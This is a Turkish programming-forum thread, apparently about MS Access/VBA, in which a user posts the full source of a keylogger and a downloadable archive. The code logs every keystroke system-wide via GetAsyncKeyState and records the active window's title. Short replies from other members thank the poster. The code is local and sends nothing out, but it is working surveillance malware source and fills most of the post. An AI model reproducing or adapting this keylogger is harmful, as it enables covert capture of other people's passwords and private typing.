KeyLogger (Klavye Kapanı)
#1
access-sql-14 
Merhabalar;

Üzerinde çalıştığım bir uygulamayı sizinle paylaşmak istiyorum.

Bildiğimiz üzere artık savaşlar; meydanlarda değil bilgisayarlar arası (siber savaş) olarak adlandırdığımız mücadelelerle oluyor. Bu durumda da en çok kullanılan KEYLOGGER olarak bilinen türkçemizde Klavye Kapanı olarak ifadelendirdiğimiz programlardır. Bu programların amacını eminim birçoğumuz biliyoruz..

Programın ilk sürümü olarak kabul edin.. Şu an programın tek özelliği var:

Bilgisayar üzerinde yazdığınız herşeyi metin kutusuna yazması..
İleriki zamanlarda görüntü alma özelliğinide yapmaya çalışacağım..

Şimdi gelelim bunu nasıl yaptığıma:


Öncelikle bir form açın daha sonra projenize
bir text kutusu ( Text1 )
birde kod bölümüne Form_Timer koyun..
koyun ve daha sonrada Timer1’in interval degerini ( 1 ) yapın. Yani formun özelliklerini açtığınızda "Olay" sekmesindeki "Süre Ölçer Aralığını" 1 yapın.
Şimdi yeni bir modül yaratın.
Ondan sonrada aşağıdaki kodları modüle yapıştırın.

Visual Basic
  1. Declare Function GetForegroundWindow Lib "user32" () As Long
  2. Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
  3. Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
  4. Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  5. Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
  6. Public a(0 To 9) As String
  7. Public Baslik As String
  8. Private Sub Text1_Change()
  9. End Sub
  10.  
  11. Function BasligiAl(hwnd As Long)
  12. Dim hWndTitle As String
  13.  
  14. hWndTitle = String(GetWindowTextLength(hwnd), 0)
  15. GetWindowText hwnd, hWndTitle, (GetWindowTextLength(hwnd) + 1)
  16. BasligiAl = hWndTitle
  17.  
  18. End Function
  19.  
  20. Public Sub tusuyaz()
  21. Text1.Text = Text1 & BasilanTus
  22. Text1.SelLength = Len(Text1)
  23. End Sub
  24. Public Function ShiftTusu() As Boolean
  25. ShiftTusu = CBool(GetAsyncKeyState(vbKeyShift))
  26. End Function
  27. Public Function CapsLockTusu() As Boolean
  28. CapsLockTusu = CBool(GetKeyState(vbKeyCapital) And 1)
  29. End Function



Modülü kaydedin. Gelelim forma. Formun kodlarını açın.
Aynen bu kodları uygulayın.

Visual Basic
  1. Private Sub Form_Timer()
  2. On Error Resume Next
  3. Dim BasilanTus As String
  4. Dim dongu As Byte
  5. GoTo 10
  6. 'If GetForegroundWindow <> HandleNoSu Then '''
  7. 'HandleNoSu = GetForegroundWindow '''
  8. If Baslik <> BasligiAl(GetForegroundWindow) Then
  9. Baslik = BasligiAl(GetForegroundWindow)
  10. 'Else '''
  11. Text1 = Text1 & " [" & Baslik & "] " & vbCrLf
  12. End If
  13. 'End If '''
  14. 10
  15. If GetAsyncKeyState(13) = -32767 Then
  16. BasilanTus = vbCrLf
  17. GoTo tusuyaz
  18. End If
  19.  
  20. If GetAsyncKeyState(8) = -32767 Then
  21. Text1 = Left(Text1, Len(Text1) - 1)
  22. GoTo tusuyaz
  23. End If
  24.  
  25. If GetAsyncKeyState(32) = -32767 Then
  26. BasilanTus = " "
  27. GoTo tusuyaz
  28. End If
  29.  
  30. If GetAsyncKeyState(186) = -32767 Then
  31. If ShiftTusu = True Then BasilanTus = ":"
  32. If ShiftTusu = False Then BasilanTus = ";"
  33. GoTo tusuyaz
  34. End If
  35.  
  36. If GetAsyncKeyState(187) = -32767 Then
  37. If ShiftTusu = True Then BasilanTus = "+"
  38. If ShiftTusu = False Then BasilanTus = "="
  39. GoTo tusuyaz
  40. End If
  41.  
  42. If GetAsyncKeyState(188) = -32767 Then
  43. If ShiftTusu = True Then BasilanTus = "<"
  44. If ShiftTusu = False Then BasilanTus = ","
  45. GoTo tusuyaz
  46. End If
  47.  
  48.  
  49. If GetAsyncKeyState(189) = -32767 Then
  50. If ShiftTusu = True Then BasilanTus = "_"
  51. If ShiftTusu = False Then BasilanTus = "-"
  52. GoTo tusuyaz
  53. End If
  54.  
  55. If GetAsyncKeyState(190) = -32767 Then
  56. If ShiftTusu = True Then BasilanTus = ">"
  57. If ShiftTusu = False Then BasilanTus = "."
  58. GoTo tusuyaz
  59. End If
  60.  
  61. If GetAsyncKeyState(191) = -32767 Then
  62. If ShiftTusu = True Then BasilanTus = "?"
  63. If ShiftTusu = False Then BasilanTus = "/"
  64. GoTo tusuyaz
  65. End If
  66.  
  67. If GetAsyncKeyState(192) = -32767 Then
  68. If ShiftTusu = True Then BasilanTus = "~"
  69. If ShiftTusu = False Then BasilanTus = "`"
  70. GoTo tusuyaz
  71. End If
  72.  
  73. If GetAsyncKeyState(96) = -32767 Then
  74. If ShiftTusu = False Then BasilanTus = "0"
  75. GoTo tusuyaz
  76. End If
  77.  
  78. If GetAsyncKeyState(97) = -32767 Then
  79. If ShiftTusu = False Then BasilanTus = "1"
  80. GoTo tusuyaz
  81. End If
  82.  
  83. If GetAsyncKeyState(98) = -32767 Then
  84. If ShiftTusu = False Then BasilanTus = "2"
  85. GoTo tusuyaz
  86. End If
  87.  
  88. If GetAsyncKeyState(99) = -32767 Then
  89. If ShiftTusu = False Then BasilanTus = "3"
  90. GoTo tusuyaz
  91. End If
  92.  
  93. If GetAsyncKeyState(100) = -32767 Then
  94. If ShiftTusu = False Then BasilanTus = "4"
  95. GoTo tusuyaz
  96. End If
  97.  
  98. If GetAsyncKeyState(101) = -32767 Then
  99. If ShiftTusu = False Then BasilanTus = "5"
  100. GoTo tusuyaz
  101. End If
  102.  
  103. If GetAsyncKeyState(102) = -32767 Then
  104. If ShiftTusu = False Then BasilanTus = "6"
  105. GoTo tusuyaz
  106. End If
  107.  
  108. If GetAsyncKeyState(103) = -32767 Then
  109. If ShiftTusu = False Then BasilanTus = "7"
  110. GoTo tusuyaz
  111. End If
  112.  
  113. If GetAsyncKeyState(104) = -32767 Then
  114. If ShiftTusu = False Then BasilanTus = "8"
  115. GoTo tusuyaz
  116. End If
  117.  
  118. If GetAsyncKeyState(105) = -32767 Then
  119. If ShiftTusu = False Then BasilanTus = "9"
  120. GoTo tusuyaz
  121. End If
  122.  
  123. If GetAsyncKeyState(106) = -32767 Then
  124. If ShiftTusu = False Then BasilanTus = "*"
  125. GoTo tusuyaz
  126. End If
  127.  
  128. If GetAsyncKeyState(107) = -32767 Then
  129. If ShiftTusu = False Then BasilanTus = "+"
  130. GoTo tusuyaz
  131. End If
  132.  
  133. If GetAsyncKeyState(108) = -32767 Then
  134. If ShiftTusu = False Then BasilanTus = ""
  135. Text1.Text = Text1.Text & vbCrLf
  136. GoTo tusuyaz
  137. End If
  138.  
  139. If GetAsyncKeyState(109) = -32767 Then
  140. If ShiftTusu = False Then BasilanTus = "-"
  141. GoTo tusuyaz
  142. End If
  143.  
  144. If GetAsyncKeyState(110) = -32767 Then
  145. If ShiftTusu = False Then BasilanTus = "."
  146. GoTo tusuyaz
  147. End If
  148.  
  149. If GetAsyncKeyState(111) = -32767 Then
  150. If ShiftTusu = False Then BasilanTus = "/"
  151. GoTo tusuyaz
  152. End If
  153.  
  154. If GetAsyncKeyState(219) = -32767 Then
  155. If ShiftTusu = True Then BasilanTus = "{"
  156. If ShiftTusu = False Then BasilanTus = "["
  157. GoTo tusuyaz
  158. End If
  159.  
  160. If GetAsyncKeyState(220) = -32767 Then
  161. If ShiftTusu = True Then BasilanTus = "|"
  162. If ShiftTusu = False Then BasilanTus = ""
  163. GoTo tusuyaz
  164. End If
  165.  
  166. If GetAsyncKeyState(221) = -32767 Then
  167. If ShiftTusu = True Then BasilanTus = "}"
  168. If ShiftTusu = False Then BasilanTus = "]"
  169. GoTo tusuyaz
  170. End If
  171.  
  172. If GetAsyncKeyState(222) = -32767 Then
  173. If ShiftTusu = True Then BasilanTus = Chr(34)
  174. If ShiftTusu = False Then BasilanTus = "’"
  175. GoTo tusuyaz
  176. End If
  177.  
  178. dongu = 48
  179.  
  180. Do Until dongu = 91
  181.  
  182. If GetAsyncKeyState(dongu) = -32767 Then
  183. If dongu >= 65 And dongu <= 90 Then
  184. If CapsLockTusu = True And ShiftTusu = True Then BasilanTus = LCase(Chr(dongu))
  185. If CapsLockTusu = False And ShiftTusu = False Then BasilanTus = LCase(Chr(dongu))
  186. If CapsLockTusu = True And ShiftTusu = False Then BasilanTus = UCase(Chr(dongu))
  187. If CapsLockTusu = False And ShiftTusu = True Then BasilanTus = UCase(Chr(dongu))
  188. GoTo tusuyaz
  189. End If
  190.  
  191. If dongu >= 48 And dongu <= 57 And ShiftTusu = True Then
  192. If ShiftTusu = True Then
  193. BasilanTus = a(Val(Chr(dongu)))
  194. GoTo tusuyaz
  195. End If
  196. End If
  197. End If
  198.  
  199. dongu = dongu + 1
  200.  
  201. Loop
  202.  
  203. Exit Sub
  204. tusuyaz:
  205. Text1.Text = Text1.Text & BasilanTus
  206. End Sub



Olay bitmiştir. Keylogger'ımız hazır. Örnek ekte..

Ayrıca bu kodları sizde bulabilirsiniz. Arama motorunuza KEYLOGGER kodları / keylogger yapımı yazarsanız bir çok sayfa gelecektir..


Eklenti Dosyaları
.rar   Furkan Torun - Keylogger.rar (Boyut: 21,85 KB / İndirilme: 168)



  Alıntı
Bu mesajı beğenenler:
#2
Paylaşım için teşekkürler..

Gerçekten böyle bir örnek veya konu daha forumda konuşulmamış,duyulmamış.



  Alıntı
Bu mesajı beğenenler:
#3
Yorumunuz için teşekkürler..

Forumda hiç bir benzeri olmayan bir örneğe sadece 1 kişinin yorum yapması çok ilginç.



  Alıntı
Bu mesajı beğenenler:
#4
Merhaba..

Titiz bir çalışma olmuş.. Teşekkürler..



  Alıntı
Bu mesajı beğenenler:
#5

Yorumunuz için teşekkür ederim Sayın; Taruz



  Alıntı
Bu mesajı beğenenler:
#6
(17-06-2012, 11:59)furkan_68200 demiş ki: Yorumunuz için teşekkürler..

Forumda hiç bir benzeri olmayan bir örneğe sadece 1 kişinin yorum yapması çok ilginç.

Bu şekilde düşünmeyiniz. Access ile yapılmış olup da dünya üzerinde başka hiçbir yerde olmayan örnekler de var bu forumda. Yorum sayıları 3-5 i geçmiyor ya da sayıca gerçekten az yorumlar varWink

Zamana bırakın, bu tür spesifik örnekleri insanlar daha çok işleri düşünce değerlendiriler ve değerini o zaman anlarlar. Daha da önemlisi bu tür örnekler ile siz kendinizi geliştiriyorsunuz. Başkalarının ne dediğini, demediğini umursamayın. Öğrenin, öğretin, keyif alın Wink

Egomuzu gelen cevaplarla değil, öğrendiğimiz bilgilerle okşayalım.
Javascript
  1. this.setState({sign:"Here comes the sun...."})







  Alıntı
Bu mesajı beğenenler:


Benzer Konular...
Konu: Yazar Cevaplar: Gösterim: Son Mesaj
  Q Klavye Portable kurt26 6 3.515 03-02-2012, 17:03
Son Mesaj: Taruz
  Sanal Klavye Örneği Abdullah 6 6.276 29-03-2011, 17:40
Son Mesaj: naimelik
  Butona Enter ve Klavye Kısayolları Ekleme orhanacan 1 3.243 31-01-2010, 22:23
Son Mesaj: Taruz

Foruma Git:


Bu konuyu görüntüleyen kullanıcı(lar): 1 Ziyaretçi